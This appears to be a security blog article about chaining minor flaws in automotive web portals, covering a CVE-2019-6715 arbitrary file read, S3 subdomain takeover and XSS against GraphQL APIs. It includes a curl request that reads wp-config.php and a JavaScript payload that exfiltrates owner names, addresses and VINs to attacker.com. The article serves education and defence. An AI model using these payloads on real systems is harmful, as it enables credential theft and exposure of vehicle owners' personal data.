Chaining Low-Severity Bugs to Exfiltrate PII from Automotive Portals

TLDR: Automotive manufacturer web portals often suffer from a combination of minor vulnerabilities like XSS and misconfigured S3 buckets that, when chained, lead to full account takeover and PII exfiltration. By leveraging these misconfigurations, researchers demonstrated how to bypass security controls and access sensitive vehicle and owner data. Security teams must prioritize auditing third-party integrations and cloud storage permissions to prevent these multi-stage attack chains.

Automotive security research often fixates on CAN bus injection or remote engine start exploits, but the real-world attack surface is frequently much simpler. Most manufacturers maintain massive web ecosystems for customer portals, vehicle management, and service scheduling. These portals are often built on a patchwork of legacy CMS platforms, third-party plugins, and cloud-hosted assets. During a recent presentation at DEF CON 2024, researchers demonstrated that you do not need a zero-day in a vehicle's firmware to compromise a user. Instead, you just need to chain a few OWASP A03:2021-Injection and OWASP A05:2021-Security Misconfiguration vulnerabilities to turn a minor bug into a major data breach.

The Mechanics of the Chain

The research highlights a recurring pattern: developers focus on securing the core application while leaving auxiliary services, such as marketing subdomains or performance-tracking plugins, wide open. One specific example involved the W3 Total Cache plugin for WordPress, which was vulnerable to CVE-2019-6715. This vulnerability allows an attacker to read arbitrary files from the server by manipulating the SubscribeURL parameter.

By sending a crafted PUT request, an attacker can read sensitive configuration files like wp-config.php. Once the database credentials are exfiltrated, the attacker gains a foothold in the environment. While file read traversal is a known issue, the impact is amplified when it provides the keys to the kingdom for a larger, interconnected infrastructure.

curl -X PUT https://media.example.com/wp-content/plugins/w3-total-cache/pub/sns.php \
-d '{
"Type": "SubscriptionConfirmation",
"Message": "",
"SubscribeURL": "file:///var/www/html/wp-config.php"
}'

Exploiting Cloud Misconfigurations

Beyond application-level flaws, the research team identified a systemic issue with how manufacturers manage cloud storage. Many companies use AWS S3 buckets to host static assets, but they often fail to enforce strict access controls. In several instances, the researchers found buckets that were publicly writable or misconfigured to allow subdomain takeovers.

When a subdomain points to a non-existent or deleted S3 bucket, an attacker can simply create a bucket with the same name in their own AWS account. Once the bucket is claimed, the attacker controls the content served on that subdomain. This is a classic subdomain takeover scenario. By hosting a malicious JavaScript file on the newly claimed bucket, an attacker can execute code in the context of the manufacturer’s domain, effectively bypassing Same-Origin Policy (SOP) protections.

From XSS to PII Exfiltration

The most effective attack vector demonstrated was the combination of Cross-Site Scripting (XSS) and GraphQL API exploitation. Many modern portals use GraphQL to fetch vehicle data. If the portal has an XSS vulnerability—often found in third-party tools like SiteMinder—an attacker can inject a script that interacts with the API on behalf of the authenticated user.

The researchers used Burp Suite Collaborator to track these interactions. By injecting a payload into a vulnerable parameter, they could force the victim's browser to make authenticated requests to the GraphQL endpoint. Because the browser automatically attaches the user's session cookies, the API treats the request as legitimate. The script then exfiltrates the PII—such as owner names, addresses, and vehicle identification numbers (VINs)—to an attacker-controlled server.

// Simplified payload for GraphQL exfiltration
const query = `query { getDetails { name, address, vin } }`;
fetch('https://api.example.com/graphql', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ query })
}).then(res => res.json())
  .then(data => fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(data))));

Why This Matters for Pentesters

During a standard engagement, it is easy to get tunnel vision on the primary login page or the main API gateway. However, this research proves that the "noise" in the environment—the marketing subdomains, the outdated WordPress plugins, and the forgotten S3 buckets—is where the real risk resides. When you find a low-severity XSS or a misconfigured bucket, do not just report it as an isolated finding. Look for ways to chain it with other weaknesses. Can you use that XSS to steal a session token? Can you use that bucket to host a malicious script that targets the main application?

Defenders often struggle to patch these issues because they are spread across different teams and infrastructure providers. For the blue team, the solution is to implement a rigorous asset management program that includes automated scanning for misconfigured cloud buckets and regular updates for all third-party dependencies. If you are a researcher, keep digging into those auxiliary subdomains. The most interesting bugs are rarely found in the main application code; they are found in the gaps between the services that the developers forgot to secure.